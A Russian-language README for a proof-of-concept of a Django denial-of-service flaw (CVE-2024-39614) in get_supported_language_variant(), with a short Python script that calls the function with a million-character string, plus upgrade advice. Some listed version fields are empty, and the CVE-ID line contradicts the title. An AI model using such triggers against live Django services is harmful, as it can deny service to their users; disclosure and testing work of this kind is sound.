
PoC-эксплойт для CVE-2024-39614, уязвимости типа «отказ в обслуживании» в функции get_supported_language_variant() Django, затрагивающей версии 5.0<5.0.7 и 4.2<4.2.14.
Этот репозиторий содержит скрипт Proof of Concept (PoC), демонстрирующий уязвимость типа «отказ в обслуживании» (DoS) в Django версий 5.0 до 5.0.7 и 4.2 до 4.2.14. Уязвимость находится в функции get_supported_language_variant(), которая подвержена потенциальной DoS-атаке при обработке очень длинных строк, содержащих определённые символы.
CVE-ID: (Ожидается)
Обзор:
Функция get_supported_language_variant() в Django версий 5.0 до 5.0.7 и 4.2 до 4.2.14 подвержена DoS-атаке. Эта функция может быть эксплуатирована путём отправки очень длинных строк, содержащих определённые символы, что может привести к исчерпанию ресурсов и, как следствие, к отказу в обслуживании.
Затронутые версии:
Исправленные версии:
pip install django)Этот скрипт демонстрирует, как злоумышленник может использовать уязвимость, отправив очень длинную строку в функцию get_supported_language_variant().
Сохраните следующий скрипт как dos_poc.py и запустите его.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() вызывает get_supported_language_variant() с очень длинной строкой для проверки наличия уязвимости.Для устранения этой уязвимости обновите Django до исправленных версий:
Следуйте официальным инструкциям по обновлению Django, чтобы обновить вашу установку Django до последней безопасной версии.
Поддерживая программное обеспечение в актуальном состоянии и следуя лучшим практикам безопасности, вы можете предотвратить такие уязвимости, как эта DoS-проблема в Django.